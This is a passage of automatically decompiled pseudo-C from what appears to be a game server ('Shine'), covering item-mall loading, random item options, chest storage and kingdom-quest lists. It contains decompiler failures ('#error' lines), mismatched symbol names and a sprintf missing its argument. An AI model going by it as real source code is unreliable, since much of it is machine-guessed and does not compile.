*this, int chargedlist, int ViewCount) { void *v3; // ebx@1 char *v4; // esi@1 int v5; // edi@1 __int16 v6; // ax@1 int v7; // ebp@1 int v8; // ebx@5 int v9; // ebp@5 int v10; // esi@13 int v11; // eax@15 void *v12; // [sp+0h] [bp-14h]@1 signed int chargedlista; // [sp+18h] [bp+4h]@4 v3 = this; v12 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_FillChargedInven"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_FillChargedInven"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = gpp.pp_Buffer; v5 = chargedlist; *(_WORD *)gpp.pp_Buffer = 12321; v6 = *(_WORD *)(chargedlist + 6); v7 = 0; *((_WORD *)v4 + 1) = v6; if ( v6 == 4161 ) { v4[4] = *(_BYTE *)(chargedlist + 8); if ( *(_BYTE *)(chargedlist + 8) & 1 ) CChargedItem::Clear((CChargedItem *)((char *)v3 + 91736)); chargedlista = 0; if ( *(_WORD *)(v5 + 9) ) { v8 = (int)(v4 + 7); v9 = v5 + 11; while ( CChargedItem::Add((CChargedItem *)((char *)v12 + 91736), (PROTO_CHARGED_ITEM_INFO *)v9) ) { *(_DWORD *)v8 = *(_DWORD *)v9; *(_DWORD *)(v8 + 4) = *(_DWORD *)(v9 + 4); *(_DWORD *)(v8 + 8) = *(_DWORD *)(v9 + 8); *(_DWORD *)(v8 + 12) = *(_DWORD *)(v9 + 12); v9 += 16; v8 += 16; ++chargedlista; if ( chargedlista >= *(_WORD *)(v5 + 9) ) goto LABEL_10; } v4[4] |= 2u; LABEL_10: v3 = v12; } *((_BYTE *)v3 + 91732) = 1; *(_WORD *)(v4 + 5) = chargedlista; v7 = 0; } else { *(_WORD *)(v4 + 5) = 0; } v10 = 16 * *(_WORD *)(v4 + 5) + 7; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v10) == v7 ) { AssertClass::ac_AssertFail(&shineassert, (const char *)&stru_5B4DD8.maa_MobActionStruct.swingdamage, v10); } else { v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v11 + 12))(v11, v3, &gpp); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_FillChargedInven"); } //----- (0046CD50) -------------------------------------------------------- void __thiscall ItemMall::im_Load(ItemMall *this) { ItemMall *v1; // esi@1 unsigned int v2; // ebx@1 unsigned int v3; // ebp@1 void *v4; // eax@3 int v5; // ecx@5 ItemMall *v6; // edx@6 ItemMall::ItemSetList *v7; // ecx@10 BinaryDataBox booth; // [sp+0h] [bp-74h]@1 unsigned int v9; // [sp+64h] [bp-10h]@14 int v10; // [sp+70h] [bp-4h]@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&booth.baseclass_0); booth.bdb_defaultblock.goodsNo = 0; *(_DWORD *)&booth.bdb_defaultblock.InxName[0] = 0; *(_DWORD *)&booth.bdb_defaultblock.InxName[4] = 0; *(_DWORD *)&booth.bdb_defaultblock.InxName[8] = 0; *(_DWORD *)&booth.bdb_defaultblock.InxName[12] = 0; *(_DWORD *)&booth.bdb_defaultblock.InxName[16] = 0; *(_DWORD *)&booth.bdb_defaultblock.InxName[20] = 0; *(_DWORD *)&booth.bdb_defaultblock.InxName[24] = 0; *(_DWORD *)&booth.bdb_defaultblock.InxName[28] = 0; booth.bdb_defaultblock.Lot = 0; v2 = 0; v10 = 0; BinaryDataBox::bdb_ReadData(&booth, "../9Data/Shine/ItemShop.shn"); v3 = booth.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v1->im_Goods = 0; if ( (signed int)v3 > 0 ) { do { if ( v2 < booth.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v4 = CDataReader::GetRecord(&booth.baseclass_0.baseclass_0, v2); else v4 = &booth.bdb_defaultblock; v5 = 0; if ( v1->im_Goods <= 0 ) goto LABEL_17; v6 = v1; while ( v6->im_Booth[0].isl_Code != *(_DWORD *)v4 ) { ++v5; v6 = (ItemMall *)((char *)v6 + 88); if ( v5 >= v1->im_Goods ) { ItemMall::im_NewSet(v1, (ItemShop *)v4); goto LABEL_13; } } v7 = (ItemMall::ItemSetList *)((char *)v1 + 88 * v5); if ( v7 ) ItemMall::im_AddSet(v1, v7, (ItemShop *)v4); else LABEL_17: ItemMall::im_NewSet(v1, (ItemShop *)v4); LABEL_13: ++v2; } while ( (signed int)v2 < (signed int)v3 ); } v10 = -1; CCharacterTitleData::_CCharacterTitleData(&booth.baseclass_0); __security_check_cookie(v9); } //----- (0046CE70) -------------------------------------------------------- int __cdecl operator_(Name8 *a, Name8 *b) { bool v2; // cf@1 unsigned int v3; // edx@2 unsigned int v4; // esi@2 unsigned int v5; // edx@3 unsigned int v6; // esi@3 unsigned int v7; // edx@4 unsigned int v8; // esi@4 unsigned int v9; // edx@5 unsigned int v10; // esi@5 unsigned int v11; // edx@6 unsigned int v12; // esi@6 unsigned int v13; // edx@7 unsigned int v14; // esi@7 int result; // eax@8 v2 = *(_DWORD *)&b->n8_name[0] < *(_DWORD *)&a->n8_name[0]; if ( *(_DWORD *)&b->n8_name[0] == *(_DWORD *)&a->n8_name[0] && (v3 = *(_DWORD *)&a->n8_name[4], v4 = *(_DWORD *)&b->n8_name[4], v2 = v4 < v3, v4 == v3) && (v5 = *(_DWORD *)&a->n8_name[8], v6 = *(_DWORD *)&b->n8_name[8], v2 = v6 < v5, v6 == v5) && (v7 = *(_DWORD *)&a->n8_name[12], v8 = *(_DWORD *)&b->n8_name[12], v2 = v8 < v7, v8 == v7) && (v9 = *(_DWORD *)&a->n8_name[16], v10 = *(_DWORD *)&b->n8_name[16], v2 = v10 < v9, v10 == v9) && (v11 = *(_DWORD *)&a->n8_name[20], v12 = *(_DWORD *)&b->n8_name[20], v2 = v12 < v11, v12 == v11) && (v13 = *(_DWORD *)&a->n8_name[24], v14 = *(_DWORD *)&b->n8_name[24], v2 = v14 < v13, v14 == v13) ) result = *(_DWORD *)&b->n8_name[28] < *(_DWORD *)&a->n8_name[28]; else result = v2 ? 1 : -1; return result; } //----- (0046CEE0) -------------------------------------------------------- void __thiscall ItemRandomOption::RandomOptionTable::RandomOptionTable(ItemRandomOption::RandomOptionTable *this) { ItemRandomOption::RandomOptionTable *v1; // esi@1 v1 = this; CardDeck::CardStack::CardStack(&this->rot_CardStack); v1->rot_Array = 0; } //----- (0046CF00) -------------------------------------------------------- void __thiscall ItemRandomOption::RandomOptionTable::_RandomOptionTable(ItemRandomOption::RandomOptionTable *this) { ItemRandomOption::RandomOptionTable *v1; // esi@1 v1 = this; if ( this->rot_Array ) operator delete__(this->rot_Array); CardDeck::CardStack::_CardStack(&v1->rot_CardStack); } //----- (0046CF20) -------------------------------------------------------- int __cdecl ItemRandomOption::RandomOptionTable::rot_Compare(const void *a, const void *b) { return operator_(*(Name8 **)b, *(Name8 **)a); } //----- (0046CF40) -------------------------------------------------------- void __thiscall MapBlock::MapDoorBlockElement::MapDoorBlockElement(ItemRandomOption::RandomOptionDatum *this) { *(_QWORD *)&this->DropItemIndex.n8_name[24] = 0i64; *(_QWORD *)&this->DropItemIndex.n8_name[16] = 0i64; *(_QWORD *)&this->DropItemIndex.n8_name[8] = 0i64; *(_QWORD *)&this->DropItemIndex.n8_name[0] = 0i64; } //----- (0046CF60) -------------------------------------------------------- ItemRandomOption::RandomOptionDatum *__thiscall ItemRandomOption::RandomOptionTable::operator__(ItemRandomOption::RandomOptionTable *this, char *idx) { ItemRandomOption::RandomOptionTable *v2; // edi@1 const void *v3; // ecx@1 unsigned int v4; // ST08_4@1 void *v5; // eax@1 ItemRandomOption::RandomOptionDatum *result; // eax@2 ItemRandomOption::RandomOptionDatum *key; // [sp+8h] [bp-44h]@1 ItemRandomOption::RandomOptionDatum keystr; // [sp+Ch] [bp-40h]@1 v2 = this; MapBlock::MapDoorBlockElement::MapDoorBlockElement(&keystr); *(_QWORD *)&keystr.DropItemIndex.n8_name[24] = 0i64; *(_QWORD *)&keystr.DropItemIndex.n8_name[16] = 0i64; *(_QWORD *)&keystr.DropItemIndex.n8_name[8] = 0i64; *(_QWORD *)&keystr.DropItemIndex.n8_name[0] = 0i64; strncpy(keystr.DropItemIndex.n8_name, idx, 0x20u); v3 = v2->rot_Array; v4 = v2->rot_DataNumber; key = &keystr; v5 = bsearch(&key, v3, v4, 4u, ItemRandomOption::RandomOptionTable::rot_Compare); if ( v5 ) result = *(ItemRandomOption::RandomOptionDatum **)v5; else result = 0; return result; } //----- (0046D000) -------------------------------------------------------- void __thiscall ItemRandomOption::RandomOptionTable::rot_Load(ItemRandomOption::RandomOptionTable *this, Name4 *world) { ItemRandomOption::RandomOptionTable *v2; // edi@1 int v3; // edx@1 int v4; // ecx@1 int v5; // edx@1 unsigned int v6; // ebx@1 int v7; // eax@2 void *v8; // esi@6 unsigned int v9; // eax@7 char *v10; // eax@7 int v11; // edx@7 bool v12; // zf@7 signed int v13; // ebp@10 void *v14; // eax@24 int v15; // esi@24 void *v16; // eax@24 int v17; // ebp@25 int v18; // eax@27 int v19; // ebp@27 void *v20; // esi@29 ItemRandomOption::RandomOptionDatum *v21; // eax@32 int v22; // ecx@32 int v23; // eax@32 int v24; // eax@32 CardDeck::CardStack *v25; // edi@33 ORToken v26; // [sp-2Ah] [bp-10938h]@6 void *v27; // [sp-26h] [bp-10934h]@6 unsigned int v28; // [sp-22h] [bp-10930h]@6 int v29; // [sp-1Eh] [bp-1092Ch]@6 unsigned int v30; // [sp-1Ah] [bp-10928h]@6 int v31; // [sp-16h] [bp-10924h]@6 char rst; // [sp+1h] [bp-1090Dh]@2 void *v33; // [sp+2h] [bp-1090Ch]@6 ORToken *v34; // [sp+6h] [bp-10908h]@29 char buf[32]; // [sp+Ah] [bp-10904h]@1 char path[128]; // [sp+2Ah] [bp-108E4h]@1 OptionReader rot_Reader; // [sp+AAh] [bp-10864h]@1 unsigned int cookie; // [sp+108FEh] [bp-10h]@35 int v39; // [sp+1090Ah] [bp-4h]@1 v2 = this; OptionReader::OptionReader(&rot_Reader); v3 = *(_DWORD *)&world->n4_name[4]; *(_DWORD *)buf = *(_DWORD *)&world->n4_name[0]; v4 = *(_DWORD *)&world->n4_name[8]; *(_DWORD *)&buf[4] = v3; v5 = *(_DWORD *)&world->n4_name[12]; *(_DWORD *)&buf[8] = v4; v6 = 0; v39 = 0; *(_DWORD *)&buf[12] = v5; buf[16] = 0; sprintf(path, "../9Data/Shine/World/%s/RandomOptionTable.txt"); if ( !OptionReader::or_Read(&rot_Reader, path) ) { sprintf(path, "../9Data/Shine/World/RandomOptionTable.txt"); rst = OptionReader::or_Read(&rot_Reader, path); v7 = OptionReader::or_ErrorLine(&rot_Reader); if ( !rst ) { AssertClass::ac_AssertFail( &shineassert, "ItemRandomOption::RandomOptionTable::rot_Load : Error in Table read", v7); ShineExit("ItemRandomOption::RandomOptionTable::rot_Load"); } } for ( v2->rot_DataNumber = 0; ; ++v2->rot_DataNumber ) { v31 = v2->rot_DataNumber; v33 = &v26; v30 = 0; v29 = 0; v28 = 0; v27 = 0; *(_DWORD *)&v26.ort_Name[0] = 0; strncpy(v26.ort_Name, "RandomOptionTable", 0x14u); v8 = OptionReader::or_SelectFromOrder(&rot_Reader, v26, v31); if ( !v8 ) break; v9 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v9; v10 = (char *)&namestring + 256 * v9; *(_DWORD *)v10 = *(_DWORD *)v8; *((_DWORD *)v10 + 1) = *((_DWORD *)v8 + 1); *((_DWORD *)v10 + 2) = *((_DWORD *)v8 + 2); *((_DWORD *)v10 + 3) = *((_DWORD *)v8 + 3); *((_DWORD *)v10 + 4) = *((_DWORD *)v8 + 4); *((_DWORD *)v10 + 5) = *((_DWORD *)v8 + 5); *((_DWORD *)v10 + 6) = *((_DWORD *)v8 + 6); *((_DWORD *)v10 + 7) = *((_DWORD *)v8 + 7); v10[32] = 0; v11 = *((_BYTE *)v8 + 56); v12 = *((_BYTE *)v8 + 35) + *((_BYTE *)v8 + 34) != v11; v33 = (void *)(*((_BYTE *)v8 + 35) + *((_BYTE *)v8 + 34) == v11); if ( v12 ) { AssertClass::ac_AssertFail(&shineassert, "Checksum not match", v10); ShineExit("ItemRandomOption::RandomOptionTable::rot_Load"); } v13 = 0; if ( *((_WORD *)v8 + 19) > 0u ) v13 = 1; if ( *((_WORD *)v8 + 21) > 0u ) ++v13; if ( *((_WORD *)v8 + 23) > 0u ) ++v13; if ( *((_WORD *)v8 + 25) > 0u ) ++v13; if ( *((_WORD *)v8 + 27) > 0u ) ++v13; if ( *((_BYTE *)v8 + 35) > v13 ) { v31 = *((_BYTE *)v8 + 35); AssertClass::ac_AssertFail(&shineassert, "OptionNumber too large", v31); ShineExit("ItemRandomOption::RandomOptionTable::rot_Load"); } } v31 = 4 * v2->rot_DataNumber; v14 = operator new__(v31); v15 = v2->rot_DataNumber; v30 = 57 * v2->rot_DataNumber + 4; v2->rot_Array = (ItemRandomOption::RandomOptionDatum **)v14; v16 = operator new__(v30); v33 = v16; LOBYTE(v39) = 1; if ( v16 ) { v31 = (int)ShineObjectClass::ShineMobileObject::smo_ChineCastCut; v30 = (unsigned int)MapBlock::MapDoorBlockElement::MapDoorBlockElement; v29 = v15; v17 = (int)((char *)v16 + 4); v28 = 57; v27 = (char *)v16 + 4; *(_DWORD *)v16 = v15; _eh_vector_constructor_iterator_(v27, v28, v29, (void (__thiscall *)(void *))v30, (void (__thiscall *)(void *))v31); } else { v17 = 0; } v18 = v2->rot_DataNumber; v2->rot_Array2 = (ItemRandomOption::RandomOptionDatum *)v17; v19 = 0; LOBYTE(v39) = 0; if ( v18 > 0 ) { v33 = 0; do { v31 = v19; v34 = &v26; v30 = 0; v29 = 0; v28 = 0; v27 = 0; *(_DWORD *)&v26.ort_Name[0] = 0; strncpy(v26.ort_Name, "RandomOptionTable", 0x14u); v20 = OptionReader::or_SelectFromOrder(&rot_Reader, v26, v31); if ( v20 == 0 ) { v31 = v2->rot_DataNumber; AssertClass::ac_AssertFail( &shineassert, "ItemRandomOption::RandomOptionTable::rot_Load : rot_DataNumber Mismatch", v19, v31); ShineExit("ItemRandomOption::RandomOptionTable::rot_Load"); } v21 = v2->rot_Array2; v22 = (int)v33; *(_DWORD *)((char *)v33 + (_DWORD)v21) = *(_DWORD *)v20; v23 = (int)((char *)v21 + v22); *(_DWORD *)(v23 + 4) = *((_DWORD *)v20 + 1); *(_DWORD *)(v23 + 8) = *((_DWORD *)v20 + 2); *(_DWORD *)(v23 + 12) = *((_DWORD *)v20 + 3); *(_DWORD *)(v23 + 16) = *((_DWORD *)v20 + 4); *(_DWORD *)(v23 + 20) = *((_DWORD *)v20 + 5); *(_DWORD *)(v23 + 24) = *((_DWORD *)v20 + 6); *(_DWORD *)(v23 + 28) = *((_DWORD *)v20 + 7); *(_BYTE *)(v23 + 32) = *((_BYTE *)v20 + 32); *(_BYTE *)(v23 + 33) = *((_BYTE *)v20 + 33); *(_BYTE *)(v23 + 34) = *((_BYTE *)v20 + 34); *(_BYTE *)(v23 + 35) = *((_BYTE *)v20 + 35); *(_DWORD *)(v23 + 36) = *((_DWORD *)v20 + 9); *(_DWORD *)(v23 + 40) = *((_DWORD *)v20 + 10); *(_DWORD *)(v23 + 44) = *((_DWORD *)v20 + 11); *(_DWORD *)(v23 + 48) = *((_DWORD *)v20 + 12); *(_DWORD *)(v23 + 52) = *((_DWORD *)v20 + 13); *(_BYTE *)(v23 + 56) = *((_BYTE *)v20 + 56); v2->rot_Array[v19] = (ItemRandomOption::RandomOptionDatum *)((char *)v2->rot_Array2 + v22); v24 = v2->rot_DataNumber; ++v19; v33 = (void *)(v22 + 57); } while ( v19 < v24 ); } qsort(v2->rot_Array, v2->rot_DataNumber, 4u, ItemRandomOption::RandomOptionTable::rot_Compare); v25 = &v2->rot_CardStack; do CardDeck::CardStack::cs_InsertTop(v25, v6++); while ( v6 < 5 ); CardDeck::CardStack::cs_Suffle(v25, 10); v39 = -1; OptionReader::_OptionReader(&rot_Reader); __security_check_cookie(cookie); } //----- (0046D3F0) -------------------------------------------------------- void __thiscall ItemRandomOption::RandomOptionTable::rot_FillOption(ItemRandomOption::RandomOptionTable *this, ItemOptionStorage *option, ItemRandomOption::RandomOptionDatum *datum) { ItemRandomOption::RandomOptionTable *v3; // esi@1 CardDeck::CardStack *v4; // ebp@1 ItemRandomOption::RandomOptionDatum *v5; // edi@1 ItemOptionStorage *v6; // esi@1 int v7; // ebx@1 unsigned __int16 v8; // ax@6 bool v9; // sf@7 unsigned __int8 v10; // of@7 const char *v11; // [sp-18h] [bp-28h]@9 int v12; // [sp-14h] [bp-24h]@9 int optiona; // [sp+14h] [bp+4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ItemRandomOption::RandomOptionTable::rot_FillOption"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemRandomOption::RandomOptionTable::rot_FillOption"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = &v3->rot_CardStack; CardDeck::CardStack::cs_Suffle(&v3->rot_CardStack, 2); v5 = datum; v6 = option; v7 = datum->MinOpCount + RandomBox::operator__(&rndbox, datum->MaxOpCount - datum->MinOpCount + 1); option->fixed.optionnumber.str._bf0 = v5->OptionHide == 0; optiona = 0; while ( v7 > 0 ) { if ( !CardDeck::CardStack::cs_TakeTop(v4, (unsigned int *)&datum) ) { v12 = 0; v11 = "ItemRandomOption::RandomOptionTable::rot_FillOption : cs_TakeTop"; LABEL_11: AssertClass::ac_AssertFail(&shineassert, v11, v12); break; } if ( !CardDeck::CardStack::cs_InsertBottom(v4, (unsigned int)datum) ) { v12 = 0; v11 = "ItemRandomOption::RandomOptionTable::rot_FillOption : cs_InsertBottom"; goto LABEL_11; } if ( v5->StatRange[(_DWORD)datum].MaxStat ) { *(&v6->optionlist[0].itemoption_type + 2 * ((unsigned int)v6->fixed.optionnumber.str._bf0 >> 1) + ((unsigned int)v6->fixed.optionnumber.str._bf0 >> 1)) = (char)datum; v8 = RandomBox::operator__( &rndbox, v5->StatRange[(_DWORD)datum].MaxStat - v5->StatRange[(_DWORD)datum].MinStat + 1); *(unsigned __int16 *)((char *)&v6->optionlist[0].itemoption_value + 2 * ((unsigned int)v6->fixed.optionnumber.str._bf0 >> 1) + ((unsigned int)v6->fixed.optionnumber.str._bf0 >> 1)) = v5->StatRange[(_DWORD)datum].MinStat + v8; v6->fixed.optionnumber.str._bf0 = v6->fixed.optionnumber.str._bf0 & 1 ^ ((v6->fixed.optionnumber.str._bf0 & 0xFE) + 2); --v7; } v10 = __OFSUB__(optiona + 1, 8); v9 = optiona++ - 7 < 0; if ( !(v9 ^ v10) ) break; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ItemRandomOption::RandomOptionTable::rot_FillOption"); } //----- (0046D590) -------------------------------------------------------- void __thiscall ItemsInChest::ItemsInChest(ItemsInChest *this) { ItemsInChest *v1; // edx@1 signed int v2; // esi@1 this->iic_Pointer.mask = 8191; this->iic_Pointer.value = 0; v1 = this; v2 = 8192; do { *(_DWORD *)&v1->iic_ItemList[0].iti_registnum.binary.gap0[0] = -1; v1->iic_ItemList[0].iti_registnum.binary._bf4 = -1; v1 = (ItemsInChest *)((char *)v1 + 111); --v2; } while ( v2 ); } //----- (0046D5C0) -------------------------------------------------------- unsigned __int16 __thiscall ItemsInChest::iic_StoreItem(ItemsInChest *this, ItemTotalInformation *buf) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ItemsInChest::iic_SearchItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemsInChest::iic_SearchItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemsInChest::iic_SearchItem"); return -1; } //----- (0046D640) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_ITEMDB_ITEMTOTALINFORM_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { unsigned __int16 v3; // ax@3 const char *v4; // [sp-8h] [bp-18h]@2 int v5; // [sp-4h] [bp-14h]@2 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::gds_NC_ITEMDB_ITEMTOTALINFORM_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_ITEMDB_ITEMTOTALINFORM_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (*(_DWORD *)&netcmd[3].protocol & *(_DWORD *)&netcmd[1].protocol) == -1 ) { v5 = 0; v4 = "GameDBSession::gds_NC_ITEMDB_ITEMINFORM_INBOX_ACK : Invalid item"; LABEL_5: AssertClass::ac_AssertFail(&shineassert, v4, v5); goto LABEL_6; } v3 = ItemsInChest::iic_StoreItem(&itemsinchest, (ItemTotalInformation *)&netcmd[1]); if ( v3 == -1 ) { v5 = v3 != -1; v4 = "GameDBSession::gds_NC_ITEMDB_ITEMINFORM_INBOX_ACK : store fail"; goto LABEL_5; } LABEL_6: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GameDBSession::gds_NC_ITEMDB_ITEMTOTALINFORM_ACK"); } //----- (0046D720) -------------------------------------------------------- int __thiscall PROTO_KQ_MAP_INFO::operator_(int this, int a2) { int result; // eax@1 result = this; *(_BYTE *)this = *(_BYTE *)a2; *(_DWORD *)(this + 1) = *(_DWORD *)(a2 + 1); *(_DWORD *)(this + 5) = *(_DWORD *)(a2 + 5); *(_DWORD *)(this + 9) = *(_DWORD *)(a2 + 9); *(_DWORD *)(this + 13) = *(_DWORD *)(a2 + 13); *(_DWORD *)(this + 17) = *(_DWORD *)(a2 + 17); *(_DWORD *)(this + 21) = *(_DWORD *)(a2 + 21); *(_BYTE *)(this + 25) = *(_BYTE *)(a2 + 25); return result; } //----- (0046D760) -------------------------------------------------------- void *__thiscall PROTO_KQ_INFO::operator_(void *this, const void *a2) { void *v2; // ebp@1 int v3; // edx@1 int v4; // ecx@1 int v5; // esi@1 signed int v6; // edi@1 int v7; // eax@3 signed int v8; // ecx@3 int v9; // eax@5 signed int v10; // ecx@5 v2 = this; memcpy(this, a2, 0x54u); v3 = (int)((char *)a2 + 101); v4 = (int)((char *)this + 89); v5 = a2 - v2; v6 = 4; do { *(_BYTE *)(v4 - 5) = *(_BYTE *)(v3 - 17); *(_DWORD *)(v4 - 4) = *(_DWORD *)(v3 - 16); *(_DWORD *)v4 = *(_DWORD *)(v5 + v4); *(_DWORD *)(v4 + 4) = *(_DWORD *)(v3 - 8); *(_DWORD *)(v4 + 8) = *(_DWORD *)(v3 - 4); *(_DWORD *)(v4 + 12) = *(_DWORD *)v3; *(_DWORD *)(v4 + 16) = *(_DWORD *)(v3 + 4); *(_BYTE *)(v4 + 20) = *(_BYTE *)(v3 + 8); v3 += 26; v4 += 26; --v6; } while ( v6 ); v7 = (int)((char *)v2 + 188); v8 = 32; do { *(_BYTE *)v7 = *(_BYTE *)(v7 + v5); ++v7; --v8; } while ( v8 ); v9 = (int)((char *)v2 + 220); v10 = 32; do { *(_BYTE *)v9 = *(_BYTE *)(v9 + v5); ++v9; --v10; } while ( v10 ); return v2; } //----- (0046D830) -------------------------------------------------------- void __thiscall KingdomQuestEntrance::KingdomQuestEntrance(KingdomQuestEntrance *this) { this->kqe_Number.mask = 127; this->kqe_Number.value = 0; } //----- (0046D850) -------------------------------------------------------- void __thiscall KingdomQuestEntrance::kqe_entry(KingdomQuestEntrance *this, unsigned __int16 handle) { if ( handle < 0x80u ) ++this->kqe_entrancelist[handle].entrynumber; else AssertClass::ac_AssertFail(&shineassert, "KingdomQuestEntrance::kqe_entry : Subscript over", handle); } //----- (0046D890) -------------------------------------------------------- int __cdecl KingdomQuestEntrance::kqe_Compare(const void *a, const void *b) { return *(_DWORD *)b - *(_DWORD *)a; } //----- (0046D8A0) -------------------------------------------------------- void __thiscall KingdomQuestGate::KingdomQuestGateKeeper::KingdomQuestGateKeeper(KingdomQuestGate::KingdomQuestGateKeeper *this) { this->baseclass_0.vfptr = (EventReserveBaseVtbl *)&KingdomQuestGate::KingdomQuestGateKeeper::_vftable_; } // 5B54C0: using guessed type int (__fastcall *KingdomQuestGate__KingdomQuestGateKeeper___vftable_)(KingdomQuestGate::KingdomQuestGateKeeper *this); //----- (0046D8B0) -------------------------------------------------------- #error "46D8B0: undefined or illegal type '#325' (funcsize=29)" //----- (0046D910) -------------------------------------------------------- int __thiscall KingdomQuest::KQPlayerInform::regnumcomp(KingdomQuest::KQPlayerInform *this, List *lst, unsigned __int16 hnd, KingdomQuest::KQPlayerInform *key) { return this->kqpi_PlyRegnum - key->kqpi_PlyRegnum; } //----- (0046D920) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)KingdomQuest::KingdomQuestContainer::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5B5D68: using guessed type int (__stdcall *KingdomQuest__KingdomQuestContainer___vftable_[3])(__int16 hnd); //----- (0046D940) -------------------------------------------------------- void __thiscall List::_List(KingdomQuest::KQPlayerInfoList *this) { void *v1; // ecx@1 this->baseclass_0.baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v1 = this->baseclass_0.baseclass_0.l_Array; if ( v1 ) operator delete__(v1); } // 5B54E4: using guessed type int (__stdcall *List_KingdomQuest__KQPlayerInform____vftable_[3])(__int16 hnd); //----- (0046D960) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, KingdomQuest::KQPlayerInform *ele) { int v2; // eax@1 void *v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2)) != 0 ) { memcpy(v3, ele, 0x34u); result = 1; } else { result = 0; } return result; } //----- (0046D9A0) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, KingdomQuest::KQPlayerInform *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Next; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0x34u); this->vfptr->l_Free(this, v3); } return 1; } //----- (0046D9F0) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, KingdomQuest::KQPlayerInform *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Prev; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0x34u); this->vfptr->l_Free(this, v3); } return 1; } //----- (0046DA40) -------------------------------------------------------- #error "46DA40: undefined or illegal type '#585' (funcsize=53)" //----- (0046DB20) -------------------------------------------------------- KingdomQuest::KQElement *__thiscall KingdomQuest::KingdomQuestContainer::kqc_SearchHandle(KingdomQuest::KingdomQuestContainer *this, unsigned int handle, unsigned __int16 *lsthnd) { KingdomQuest::KingdomQuestContainer *v3; // esi@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // bx@1 unsigned __int16 v6; // ax@1 unsigned __int16 i; // cx@1 int v8; // edx@3 int v9; // edi@4 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "KingdomQuest::KingdomQuestContainer::kqc_SearchHandle"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KingdomQuest::KingdomQuestContainer::kqc_SearchHandle"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->baseclass_0.l_Array; v5 = v3->baseclass_0.l_MaxSize; v6 = v4[v3->baseclass_0.l_Finger.store].ls_Next; for ( i = v4[v6].ls_Next; ; i = v3->baseclass_0.l_Array[i].ls_Next ) { if ( v6 < v5 ) { v8 = (int)&v3->baseclass_0.l_Array[v6]; if ( *(_BYTE *)(v8 + 8) ) { v9 = *(_DWORD *)v8; if ( *(_DWORD *)v8 ) { if ( *(_DWORD *)(v9 + 4) == handle ) { *lsthnd = v6; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "KingdomQuest::KingdomQuestContainer::kqc_SearchHandle"); return (KingdomQuest::KQElement *)v9; } } } } if ( i >= v5 ) break; v6 = i; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "KingdomQuest::KingdomQuestContainer::kqc_SearchHandle"); return 0; } //----- (0046DC50) -------------------------------------------------------- #error "46DC50: undefined or illegal type '#585' (funcsize=61)" //----- (0046DD40) -------------------------------------------------------- char __thiscall KingdomQuest::KingdomQuestContainer::kqc_MapUseCheck(KingdomQuest::KingdomQuestContainer *this, Name3 *map_) { List *v2; // esi@1 unsigned int v3; // ecx@1 unsigned int v4; // edx@1 char result; // al@1 ListIteratorKingdomQuestMapFind likqmf; // [sp+4h] [bp-20h]@1 unsigned int v7; // [sp+14h] [bp-10h]@1 int v8; // [sp+20h] [bp-4h]@1 v2 = (List *)this; 